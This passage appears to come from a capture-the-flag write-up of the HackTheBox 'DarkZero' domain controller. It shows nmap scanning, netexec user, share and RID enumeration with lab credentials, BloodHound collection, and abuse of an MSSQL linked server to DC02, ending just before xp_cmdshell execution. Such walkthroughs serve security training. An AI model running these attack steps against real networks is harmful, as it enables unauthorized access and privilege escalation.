           Raw packets sent: 131056 (5.766MB) | Rcvd: 27 (1.172KB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 53,88,139,389,445,464,593,636,1433,2179,3268,3269,5985 <span class="nt">-sCV</span> 10.129.5.34
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-11 00:54 UTC
Nmap scan report for 10.129.5.34
Host is up (0.022s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-11 00:54:21Z)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-03-11T00:55:50+00:00; +5s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-03-11T00:48:58
|_Not valid after:  2056-03-11T00:48:58
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-03-11T00:55:14
|_  start_date: N/A
|_clock-skew: mean: 4s, deviation: 0s, median: 3s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.94 seconds
</span></code></pre></div></div>

<p>The box shows many of the ports associated with a <a href="/cheatsheets/os#windows-domain-controller">Windows Domain Controller</a>. The domain is <code class="language-plaintext highlighter-rouge">darkzero.htb</code>, and the hostname is <code class="language-plaintext highlighter-rouge">DC01</code>.</p>

<p>I’ll use <code class="language-plaintext highlighter-rouge">netexec</code> to make a <code class="language-plaintext highlighter-rouge">hosts</code> file entry and put it at the top of my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb 10.129.5.34 <span class="nt">--generate-hosts-file</span> hosts
<span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>hosts 
<span class="go">10.129.5.34     DC01.darkzero.htb darkzero.htb DC01
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>hosts /etc/hosts | <span class="nb">sudo </span>sponge /etc/hosts
</code></pre></div></div>

<p>All of the ports show a TTL of 127, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Windows one hop away.</p>

<p>In addition to typical DC and Windows ports, there’s also MSSQL on 1433, and Hyper-V RDP on 2179 (if I get creds plus a VM’s GUID I can connect).</p>

<p><code class="language-plaintext highlighter-rouge">nmap</code> notes a no clock skew between my host and DarkZero. If there were, I would want to make sure to run <code class="language-plaintext highlighter-rouge">sudo ntpdate DC01.darkzero.htb</code> before any actions that use Kerberos auth.</p>

<h3 id="initial-credentials">Initial Credentials</h3>

<p>HackTheBox provides the following scenario associated with DarkZero:</p>

<p><span class="htb-scenario-text">As is common in real life pentests, you will start the DarkZero box with credentials for the following account john.w / RFulUtONCOL!</span></p>

<p>The creds do work:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL! 
</span></code></pre></div></div>

<p>They also work for LDAP, but not WinRM (unsurprisingly):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ldap DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span>
<span class="netexec-protocol">LDAP </span><span class="go">       10.129.5.34     389    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb) (signing:Enforced) (channel binding:When Supported)
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.5.34     389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL!
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span>
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.5.34     5985   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.5.34     5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL!
</span></code></pre></div></div>

<p>They also work over MSSQL:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.5.34     1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.5.34     1433   DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL! 
</span></code></pre></div></div>

<p>Given that, I’ll want to prioritize things like:</p>

<ul>
  <li>SMB shares</li>
  <li>Bloodhound (which includes most of the data from LDAP)</li>
  <li>MSSQL</li>
</ul>

<h3 id="smb---tcp-445">SMB - TCP 445</h3>

<h4 id="users">Users</h4>

<p>Having creds allows me to list users on the domain:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">--users</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL! 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-            
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             Administrator                 2025-09-10 16:42:44 0       Built-in account for administering the computer/domain
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             Guest                         &lt;never&gt;             0       Built-in account for guest access to the computer/domain
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             krbtgt                        2025-07-29 11:40:16 0       Key Distribution Center Service Account
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             john.w                        2025-07-29 15:33:53 0        
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerated 4 local users: darkzero
</span></code></pre></div></div>

<p>There are only four. I can use <code class="language-plaintext highlighter-rouge">--rid-brute</code> to get info on the groups and aliases as well:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>netexec smb DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">--rid-brute</span> 
<span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL! 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             498: darkzero\Enterprise Read-only Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             500: darkzero\Administrator (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             501: darkzero\Guest (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             502: darkzero\krbtgt (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             512: darkzero\Domain Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             513: darkzero\Domain Users (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             514: darkzero\Domain Guests (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             515: darkzero\Domain Computers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             516: darkzero\Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             517: darkzero\Cert Publishers (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             518: darkzero\Schema Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             519: darkzero\Enterprise Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             520: darkzero\Group Policy Creator Owners (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             521: darkzero\Read-only Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             522: darkzero\Cloneable Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             525: darkzero\Protected Users (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             526: darkzero\Key Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             527: darkzero\Enterprise Key Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             528: darkzero\Forest Trust Accounts (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             529: darkzero\External Trust Accounts (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             553: darkzero\RAS and IAS Servers (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             571: darkzero\Allowed RODC Password Replication Group (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             572: darkzero\Denied RODC Password Replication Group (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             1000: darkzero\DC01$ (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             1101: darkzero\DnsAdmins (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             1102: darkzero\DnsUpdateProxy (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             2601: darkzero\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             2602: darkzero\darkzero-ext$ (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             2603: darkzero\john.w (SidTypeUser)
</span></code></pre></div></div>

<h4 id="shares">Shares</h4>

<p>Listing the shares shows the standard three Windows admin shares plus the standard two DC shares (<code class="language-plaintext highlighter-rouge">NETLOGON</code> and <code class="language-plaintext highlighter-rouge">SYSVOL</code>):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">--shares</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL! 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerated shares
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-shareenum">Share           Permissions     Remark</span><span class="err">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-shareenum">-----           -----------     ------
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-shareenum">ADMIN$                          Remote Admin
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-shareenum">C$                              Default share
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-shareenum">IPC$            READ            Remote IPC
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-shareenum">NETLOGON        READ            Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.5.34     445    DC01             </span><span class="netexec-shareenum">SYSVOL          READ            Logon server share
</span></code></pre></div></div>

<p>john.w has read access to the DC shares, but there’s nothing interesting there.</p>

<h3 id="bloodhound--ldap">BloodHound  (LDAP)</h3>

<h4 id="collection">Collection</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">netexec</code> to get <a href="https://github.com/BloodHoundAD/BloodHound">BloodHound</a> data:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ldap DC01.darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">--bloodhound</span> <span class="nt">-c</span> All <span class="nt">--dns-server</span> 10.129.5.34
<span class="netexec-protocol">LDAP </span><span class="go">       10.129.5.34     389    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb) (signing:Enforced) (channel binding:When Supported)
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.5.34     389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL! 
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.5.34     389    DC01             Resolved collection methods: trusts, rdp, acl, psremote, group, objectprops, localadmin, session, dcom, container
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.5.34     389    DC01             Done in 0M 5S
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.5.34     389    DC01             Compressing output into /home/oxdf/.nxc/logs/DC01_10.129.5.34_2026-03-11_012624_bloodhound.zip
</span></code></pre></div></div>

<p>I’ll also collect with <a href="https://github.com/g0h4n/RustHound-CE">RustHound-CE</a>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rusthound-ce <span class="nt">--domain</span> darkzero.htb <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">--ldaps</span> <span class="nt">--zip</span> 
<span class="go">---------------------------------------------------
Initializing RustHound-CE at 01:28:50 on 03/11/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-03-11T01:28:50Z INFO  rusthound_ce] Verbosity level: Info
[2026-03-11T01:28:50Z INFO  rusthound_ce] Collection method: All
[2026-03-11T01:28:50Z INFO  rusthound_ce::ldap] Connected to DARKZERO.HTB Active Directory!
[2026-03-11T01:28:50Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-03-11T01:28:50Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-03-11T01:28:50Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=darkzero,DC=htb
[2026-03-11T01:28:50Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-03-11T01:28:51Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=darkzero,DC=htb
[2026-03-11T01:28:51Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-03-11T01:28:52Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=darkzero,DC=htb
[2026-03-11T01:28:52Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-03-11T01:28:52Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=darkzero,DC=htb
[2026-03-11T01:28:52Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-03-11T01:28:52Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=darkzero,DC=htb
[2026-03-11T01:28:52Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-03-11T01:28:52Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
⢀ Parsing LDAP objects: 12%
[2026-03-11T01:28:52Z INFO  rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2026-03-11T01:28:52Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 6 users parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 64 groups parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 1 ous parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 2 domains parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 74 containers parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 1 aiacas parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 1 rootcas parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2026-03-11T01:28:52Z INFO  rusthound_ce::json::maker::common] .//20260311012852_darkzero-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 01:28:52 on 03/11/26! Happy Graphing!
</span></code></pre></div></div>

<h4 id="analysis">Analysis</h4>

<p>I’ll open the <a href="https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart">BloodHound-CE Docker</a> and upload both zip archives. I’ll find john.w and mark them as owned. Their outbound control is limited to what all members of the Domain Users group have, the ability to enroll in some certificates in ADCS:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260310214510667.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260310214510667.png" alt="image-20260310214510667" class="include_image " />
</picture>

<p>Nothing useful there. The domain itself has a bi-directional cross-forest trust with <code class="language-plaintext highlighter-rouge">darkzero.ext</code>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260310214725961.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260310214725961.png" alt="image-20260310214725961" class="include_image " />
</picture>

<p>I’ll explore this more <a href="#domain-trust">later</a>.</p>

<h3 id="mssql---tcp-1433">MSSQL - TCP 1433</h3>

<h4 id="local">Local</h4>

<p>I’ll connect to MSSQL using the given creds and <code class="language-plaintext highlighter-rouge">mssqlclient.py</code> from <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a>, using the <code class="language-plaintext highlighter-rouge">-windows-auth</code> flag to use the domain account:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mssqlclient.py darkzero.htb/john.w:<span class="s1">'RFulUtONCOL!'</span>@DC01.darkzero.htb <span class="nt">-windows-auth</span>
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (darkzero\john.w  guest@master)&gt;</span><span class="w"> 
</span></code></pre></div></div>

<p>There are no interesting DBs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span><span class="n">enum_db</span>
<span class="go">name     is_trustworthy_on   
------   -----------------   
master                   0   
tempdb                   0   
model                    0   
msdb                     1  
</span></code></pre></div></div>

<p>Logins and users doesn’t show much of interest either:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span><span class="n">enum_logins</span>
<span class="go">name                    type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
---------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                      SQL_LOGIN                 1          1               0             0            0              0           0           0           0   
darkzero\john.w         WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
darkzero\Domain Users   WINDOWS_GROUP             0          0               0             0            0              0           0           0           0   
</span><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span><span class="n">enum_users</span>
<span class="go">UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   
guest                public     NULL        NULL        guest           b'2         '   b'00'   
INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   
sys                  public     NULL        NULL        NULL            b'4         '    NULL 
</span></code></pre></div></div>

<h4 id="linked-servers">Linked Servers</h4>

<p><code class="language-plaintext highlighter-rouge">enum_links</code> shows a linked server, DC02.darkzero.ext:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span><span class="n">enum_links</span>
<span class="go">SRV_NAME            SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE      SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
-----------------   ----------------   -----------   -----------------   ------------------   ------------   -------   
DC01                SQLNCLI            SQL Server    DC01                NULL                 NULL           NULL      
DC02.darkzero.ext   SQLNCLI            SQL Server    DC02.darkzero.ext   NULL                 NULL           NULL      
Linked Server       Local Login       Is Self Mapping   Remote Login   
-----------------   ---------------   ---------------   ------------   
DC02.darkzero.ext   darkzero\john.w                 0   dc01_sql_svc
</span></code></pre></div></div>

<p>This says that the john.w account on this server maps to the dc01_sql_svc account on the remote server. I can verify that:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span><span class="k">EXEC</span> <span class="p">(</span><span class="s1">'SELECT SYSTEM_USER'</span><span class="p">)</span> <span class="k">AT</span> <span class="p">[</span><span class="n">DC02</span><span class="p">.</span><span class="n">darkzero</span><span class="p">.</span><span class="n">ext</span><span class="p">]</span>
<span class="go">               
------------   
dc01_sql_svc   
</span></code></pre></div></div>

<p>The remote server doesn’t have interesting databases either:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span><span class="k">EXEC</span> <span class="p">(</span><span class="s1">'SELECT name FROM master.sys.databases'</span><span class="p">)</span> <span class="k">AT</span> <span class="p">[</span><span class="n">DC02</span><span class="p">.</span><span class="n">darkzero</span><span class="p">.</span><span class="n">ext</span><span class="p">]</span>
<span class="go">name     
------   
master   
tempdb   
model    
msdb 
</span></code></pre></div></div>

<p>dc01_sql_svc is a sysadmin on that server!</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span>EXEC <span class="o">(</span><span class="s1">'SELECT IS_SRVROLEMEMBER(''sysadmin'')'</span><span class="o">)</span> AT <span class="o">[</span>DC02.darkzero.ext]
<span class="go">    
-   
1
</span></code></pre></div></div>

<h2 id="shell-as-darkzero-extsvc_sql-on-dc02">Shell as darkzero-ext\svc_sql on DC02</h2>

<h3 id="command-execution">Command Execution</h3>

<p>I can try <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> on the remote server:</p>

